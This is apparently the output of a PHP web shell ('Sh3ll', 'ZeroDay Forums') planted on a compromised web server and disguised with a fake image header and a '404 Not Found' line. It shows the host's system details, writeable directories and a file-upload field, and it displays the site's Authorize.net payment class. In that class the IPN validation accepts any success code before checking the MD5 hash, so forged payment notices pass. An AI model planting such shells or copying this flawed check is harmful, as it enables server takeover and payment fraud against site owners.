ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/lib/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/lib/payment/Authorize.php
<?php



/**

 * Authorize.net Class

 *

 * Integrate the Authorize.net payment gateway in your site using this

 * easy to use library. Just see the example code to know how you should

 * proceed. Also, remember to read the readme file for this class.

 *

 * @package     Payment Gateway

 * @category	Library

 * @author      Md Emran Hasan <phpfour@gmail.com>

 * @link        http://www.phpfour.com

 */



include_once ('PaymentGateway.php');



class Authorize extends PaymentGateway

{

    /**

     * Login ID of authorize.net account

     *

     * @var string

     */

    public $login;



    /**

     * Secret key from authorize.net account

     *

     * @var string

     */

    public $secret;



    /**

	 * Initialize the Authorize.net gateway

	 *

	 * @param none

	 * @return void

	 */

	public function __construct()

	{

        parent::__construct();



        // Some default values of the class

		$this->gatewayUrl = 'https://secure.authorize.net/gateway/transact.dll';

		$this->ipnLogFile = 'authorize.ipn_results.log';



		// Populate $fields array with a few default

		$this->addField('x_Version',        '3.0');

        $this->addField('x_Show_Form',      'PAYMENT_FORM');

		$this->addField('x_Relay_Response', 'TRUE');

	}



    /**

     * Enables the test mode

     *

     * @param none

     * @return none

     */

    public function enableTestMode()

    {

        $this->testMode = TRUE;

        $this->addField('x_Test_Request', 'TRUE');

        $this->gatewayUrl = 'https://test.authorize.net/gateway/transact.dll';

    }



    /**

     * Set login and secret key

     *

     * @param string user login

     * @param string secret key

     * @return void

     */

    public function setUserInfo($login, $key)

    {

        $this->login  = $login;

        $this->secret = $key;

    }



    /**

     * Prepare a few payment information

     *

     * @param none

     * @return void

     */

    public function prepareSubmit()

    {

        $this->addField('x_Login', $this->login);

        $this->addField('x_fp_sequence', $this->fields['x_Invoice_num']);

        $this->addField('x_fp_timestamp', time());



        $data = $this->fields['x_Login'] . '^' .

                $this->fields['x_Invoice_num'] . '^' .

                $this->fields['x_fp_timestamp'] . '^' .

                $this->fields['x_Amount'] . '^';



        $this->addField('x_fp_hash', $this->hmac($this->secret, $data));

    }



    /**

	 * Validate the IPN notification

	 *

	 * @param none

	 * @return boolean

	 */

	public function validateIpn()

	{

	    foreach ($_POST as $field=>$value)

		{

			$this->ipnData["$field"] = $value;

		}



        $invoice    = intval($this->ipnData['x_invoice_num']);

        $pnref      = $this->ipnData['x_trans_id'];

        $amount     = doubleval($this->ipnData['x_amount']);

        $result     = intval($this->ipnData['x_response_code']);

        $respmsg    = $this->ipnData['x_response_reason_text'];



        $md5source  = $this->secret . $this->login . $this->ipnData['x_trans_id'] . $this->ipnData['x_amount'];

        $md5        = md5($md5source);



		if ($result == '1')

		{

		 	// Valid IPN transaction.

		 	$this->logResults(true);

		 	return true;

		}

		else if ($result != '1')

		{

		 	$this->lastError = $respmsg;

			$this->logResults(false);

			return false;

		}

        else if (strtoupper($md5) != $this->ipnData['x_MD5_Hash'])

        {

            $this->lastError = 'MD5 mismatch';

            $this->logResults(false);

            return false;

        }

	}



    /**

     * RFC 2104 HMAC implementation for php.

     *

     * @author Lance Rushing

     * @param string key

     * @param string date

     * @return string encoded hash

     */

    private function hmac ($key, $data)

    {

       $b = 64; // byte length for md5



       if (strlen($key) > $b) {

           $key = pack("H*",md5($key));

       }



       $key  = str_pad($key, $b, chr(0x00));

       $ipad = str_pad('', $b, chr(0x36));

       $opad = str_pad('', $b, chr(0x5c));

       $k_ipad = $key ^ $ipad ;

       $k_opad = $key ^ $opad;



       return md5($k_opad  . pack("H*", md5($k_ipad . $data)));

    }

}


ZeroDay Forums Mini